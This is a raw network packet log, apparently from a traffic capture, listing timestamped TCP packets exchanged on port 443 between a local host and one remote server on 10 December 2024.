Dec 10, 2024 12:48:54.288917065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.288960934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.288965940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.289005995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.290036917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.290050983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.290095091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.290100098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.290138960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.290862083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.290874958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.290920019 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.290926933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.290970087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.291774035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.291788101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.291835070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.291841984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.291888952 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.293421030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.293435097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.293483973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.293489933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.293531895 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.294388056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.294408083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.294456959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.294465065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.294507027 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.298599958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.298614025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.298657894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.298662901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.298706055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.304904938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.304933071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.304961920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.304977894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.304995060 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.305008888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.355330944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.457070112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.457088947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.457285881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.457297087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.457340956 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.462515116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.462529898 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.462579966 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.462585926 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.462626934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.467757940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.467773914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.467827082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.467834949 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.467878103 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.473943949 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.473959923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.474013090 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.474018097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.474062920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.479698896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.479712963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.479753017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.479757071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.479801893 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.485707045 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.485721111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.485774040 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.485789061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.485831022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.491341114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.491354942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.491404057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.491409063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.491451979 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.497334957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.497349024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.497394085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.497397900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.497433901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.642105103 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.649163008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.649189949 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.649265051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.649275064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.649322987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.654742956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.654759884 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.654853106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.654859066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.654901028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.659969091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.659984112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.660038948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.660046101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.660085917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.666042089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.666057110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.666111946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.666117907 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.666157961 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.671941996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.671957970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.672008991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.672015905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.672060013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.678025961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.678044081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.678096056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.678102016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.678149939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.683254957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.683269024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.683327913 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.683331966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.683376074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.688848972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.688863039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.688915014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.688920975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.688965082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.833049059 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.844074965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.844098091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.844144106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.844156027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.844187975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.844211102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.849909067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.849927902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.849970102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.849973917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.850003958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.850025892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.854952097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.854967117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.855012894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.855019093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.855063915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.861135960 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.861150980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.861205101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.861213923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.861259937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.866987944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.867003918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.867049932 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.867055893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.867100000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.872211933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.872227907 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.872284889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.872292042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.872335911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.878262997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.878277063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.878324986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.878330946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.878372908 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.883938074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.883953094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.884007931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.884013891 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.884051085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.027597904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.036154032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.036183119 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.036252022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.036263943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.036304951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.041857958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.041883945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.041922092 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.041930914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.041951895 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.041985989 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.047887087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.047909021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.047972918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.047982931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.048027992 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.053046942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.053064108 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.053128004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.053133965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.053181887 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.059592962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.059608936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.059673071 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.059679031 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.059722900 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.065068007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.065083981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.065145016 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.065152884 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.065198898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.070241928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.070260048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.070332050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.070338011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.070379972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.076596975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.076615095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.076673031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.076678991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.076725960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.221059084 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.228387117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.228406906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.228476048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.228482008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.228539944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.234173059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.234186888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.234263897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.234267950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.234316111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.240194082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.240206957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.240266085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.240272045 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.240317106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.245546103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.245559931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.245615005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.245620012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.245662928 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.251378059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.251391888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.251456022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.251461029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.251516104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.257397890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.257414103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.257462025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.257466078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.257559061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.262725115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.262738943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.262809038 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.262814045 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.262857914 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.269010067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.269026995 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.269081116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.269087076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.269126892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.415046930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.420815945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.420840025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.420914888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.420919895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.420962095 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.426235914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.426254034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.426326990 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.426331043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.426373959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.432234049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.432250023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.432305098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.432310104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.432349920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.437555075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.437570095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.437634945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.437639952 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.437690020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.443547964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.443562984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.443610907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.443617105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.443659067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.449533939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.449549913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.449611902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.449616909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.449660063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.454768896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.454783916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.454857111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.454863071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.454901934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.461108923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.461124897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.461180925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.461185932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.461226940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.606364012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.612945080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.612968922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.613029003 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.613040924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.613084078 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.618509054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.618522882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.618581057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.618587017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.618630886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.624452114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.624466896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.624552965 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.624557972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.624605894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.629630089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.629643917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.629698992 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.629704952 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.629748106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.635756969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.635771036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.635823965 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.635829926 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.635868073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.641573906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.641587973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.641660929 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.641669035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.641714096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.647612095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.647627115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.647677898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.647681952 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.647721052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.653218985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.653233051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.653273106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.653278112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.653306961 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.653328896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.800075054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.814194918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.814213037 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.814274073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.814280987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.814328909 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.819510937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.819546938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.819612026 CET	49729	443	192.168.2.17	47.254.218.16
